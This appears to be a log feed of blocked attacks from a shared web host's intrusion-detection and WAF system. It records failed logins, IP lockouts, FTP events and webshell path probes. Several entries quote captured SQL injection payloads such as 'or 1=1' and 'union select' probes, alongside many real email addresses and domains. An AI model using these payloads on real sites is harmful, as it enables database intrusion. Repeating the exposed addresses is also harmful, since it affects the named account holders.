2026-01-19 13:47:45 dovecot_login authenticator failed for H=(ADMIN) [104.219.234.252]:52475: 535 Incorrect authentication data (set_id=corporate@krisfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 13:50:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51330: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.138.245.58
country_id: 1733045
description:
[2026-01-19 13:50:50 +0800] info [webmaild] 175.138.245.58 - mag@symphony-led.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.23.127.101
country_id: 6251999
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-57.82.23.127.101||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.175.147
country_id: 1733045
description:
[2026-01-19 13:57:10 +0800] info [webmaild] 175.139.175.147 - pft_rnd@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 13:58:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 158.140.164.17
country_id: 1643084
domain: www.pspoly.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:104146' order by 1-- ||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.127.107.106
country_id: 1210997
description:
Jan 19 14:02:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.127.107.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.127.107.106
country_id: 1210997
description:
2026-01-19 14:02:40 dovecot_plain authenticator failed for H=(df0ma234zouq4s1dsa248vr8mhisw) [115.127.107.106]:53546: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.159.117
country_id: 99237
description:
Jan 19 14:02:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.159.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 158.140.164.17
country_id: 1643084
domain: www.pspoly.com.my
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:log||MV:' or 1=1 limit 1 -- - ||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 158.140.164.17
country_id: 1643084
domain: www.pspoly.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:log||MV:' or 1=1 limit 1 -- - ||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.211.254.185
country_id: 2635167
description:
Jan 19 14:03:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.211.254.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.211.254.185
country_id: 2635167
description:
2026-01-19 14:03:09 dovecot_plain authenticator failed for H=(t1c0x7jzafnumfll1l0y9voal) [190.211.254.185]:60250: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.62.144.204
country_id: 99237
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/sample-request/filebox-sample HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 14:10:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59081: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 14:12:09 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56580: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.50.221
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=25 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 19 14:16:09 sv3 pure-ftpd[4115534]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 19 14:17:37 sv3 pure-ftpd[4117705]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.173.58.47
country_id: 6252001
description:
2026-01-19 14:18:28 dovecot_plain authenticator failed for H=c-67-173-58-47.hsd1.il.comcast.net (bionsiti) [67.173.58.47]:46676: 535 Incorrect authentication data (set_id=sales@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 14:18:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51415: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.0.3.170
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=1 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 19 14:18:23 sv3 pure-ftpd[4115534]: (oxboldc@175.139.12.169) [NOTICE] Deleted /home/oxboldc//public_html/googledfff0496172d17f0.html


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.173.58.47
country_id: 6252001
description:
Jan 19 14:18:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.173.58.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.56
country_id: 690791
description:
2026-01-19 14:19:01 H=([77.83.39.56]) [77.83.39.56]:53683 F=<shassan@rsms.com> rejected RCPT <celine@ktlog.com.my>: SPF: 77.83.39.56 is not allowed to send mail from rsms.com


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 19 14:20:46 sv3 pure-ftpd[4122186]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/cancel.htm uploaded  (10841 bytes, 3418.64KB/sec)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 19 14:20:40 sv3 pure-ftpd[4122184]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-19 14:21:15 H=(localhost.localdomain) [78.153.140.207]:44194 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 19 14:21:32 sv3 pure-ftpd[4122186]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/404.htm uploaded  (8733 bytes, 2327.59KB/sec)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-19 14:21:38 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 14:22:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.243.164.145
country_id: 6252001
description:
2026-01-19 14:24:10 347357 [Warning] Aborted connection 347357 to db: 'unconnected' user: 'unauthenticated' host: '162.243.164.145' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 14:26:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 106.202.195.150
country_id: 1269750
domain: ms-chemicals.net
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/6/feedback||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 106.202.195.150
country_id: 1269750
domain: ms-chemicals.net
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.64||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/6/feedback||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.249.222
country_id: 3469034
description:
Jan 19 14:28:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.249.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.249.222
country_id: 3469034
description:
Jan 19 14:28:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.249.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.93.46.158
country_id: 3686110
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/CookieTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.33
country_id: 2921044
description:
2026-01-19 14:33:40 dovecot_login authenticator failed for H=(User) [77.90.185.33]:57698: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.33
country_id: 2921044
description:
Jan 19 14:37:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.33
country_id: 2921044
description:
2026-01-19 14:37:19 dovecot_login authenticator failed for H=(User) [77.90.185.33]:10651: 535 Incorrect authentication data (set_id=test)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 14:38:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59087: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 158.140.164.17
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:364699' order by 1-- ||RSV:7.64||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - blkong@euratech.com.my [01/19/2026:06:39:02 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: blkong@euratech.com.my


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 158.140.164.17
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:364699' order by 7-- ||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 158.140.164.17
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:364699' union select 1,2,3,4,5,6-- ||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 14:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56585: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.33
country_id: 2921044
description:
Jan 19 14:41:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.33
country_id: 2921044
description:
2026-01-19 14:41:05 dovecot_login authenticator failed for H=(User) [77.90.185.33]:28247: 535 Incorrect authentication data (set_id=noreply)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.15
country_id: 6252001
description:
Jan 19 14:43:25 sv3 pure-ftpd[4159183]: (?@147.185.132.15) [INFO] New connection from 147.185.132.15


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-19 14:43:32 H=(localhost.localdomain) [78.153.140.207]:52138 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 158.140.164.17
country_id: 1643084
domain: smartcable.com.my
description:
IM360 WAF: Track file upload for Infectors||RSV:7.64||T:APACHE||SC:/home/smartcable/public_html/admin/pdf.php||User:smartcable||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jan 19 14:45:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.33
country_id: 2921044
description:
Jan 19 14:44:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.33
country_id: 2921044
description:
2026-01-19 14:44:59 dovecot_login authenticator failed for H=(User) [77.90.185.33]:45841: 535 Incorrect authentication data (set_id=user)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/company.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.66
country_id: 2510769
description:
Jan 19 14:46:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 14:46:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51468: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.169.127
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/IRI.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.66
country_id: 2510769
description:
Jan 19 14:47:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.217.120.52
country_id: 1269750
description:
Jan 19 14:48:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.217.120.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.33
country_id: 2921044
description:
Jan 19 14:48:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.33
country_id: 2921044
description:
2026-01-19 14:48:59 dovecot_login authenticator failed for H=(User) [77.90.185.33]:63432: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 179.60.143.99
country_id: 3469034
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Rating.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 14:50:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.114.241
country_id: 614540
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/student/522/669800 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.71.201.15
country_id: 285570
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/LegacyEventDispatcherProxy.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 49.48.116.61
country_id: 1605651
description:
2026-01-19 14:55:31 348930 [Warning] Aborted connection 348930 to db: 'unconnected' user: 'unauthenticated' host: '49.48.116.61' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/survey-meter/images/sliders/sitemap.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 113.199.236.127
country_id: 1282988
description:
2026-01-19 14:57:03 349196 [Warning] Aborted connection 349196 to db: 'unconnected' user: 'unauthenticated' host: '113.199.236.127' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 113.199.236.127
country_id: 1282988
description:
2026-01-19 14:57:03 349197 [Warning] Aborted connection 349197 to db: 'unconnected' user: 'unauthenticated' host: '113.199.236.127' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/contact.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.129
country_id: 798544
description:
Jan 19 15:02:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/faq.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-19 15:04:22 +0800] info [webmaild] 203.106.96.63 - info@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.87.105.125
country_id: 1269750
description:
Jan 19 15:05:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.87.105.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.87.105.125
country_id: 1269750
description:
Jan 19 15:05:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.87.105.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 15:06:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59658: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.51.42
country_id: 1149361
description:
2026-01-19 15:06:53 dovecot_login authenticator failed for H=([149.54.51.42]) [149.54.51.42]:42609: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.161.200.132
country_id: 6252001
description:
2026-01-19 15:07:48 dovecot_login authenticator failed for H=([166.161.200.132]) [166.161.200.132]:50061: 535 Incorrect authentication data (set_id=myloo)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 15:08:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56589: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 15:14:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51546: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.113.10
country_id: 1269750
description:
Jan 19 15:15:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.113.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.10
country_id: 1269750
description:
2026-01-19 15:15:41 dovecot_login authenticator failed for H=(abts-north-dynamic-121.212.66.182.airtelbroadband.in) [27.123.113.10]:58066: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.62.37
country_id: 1814991
description:
Jan 19 15:15:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.62.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.37
country_id: 1814991
description:
2026-01-19 15:16:00 dovecot_login authenticator failed for H=([111.26.62.36]) [111.26.62.37]:45346: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 15:17:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.239.103.129
country_id: 1562822
domain: www.evergrown.com.my
description:
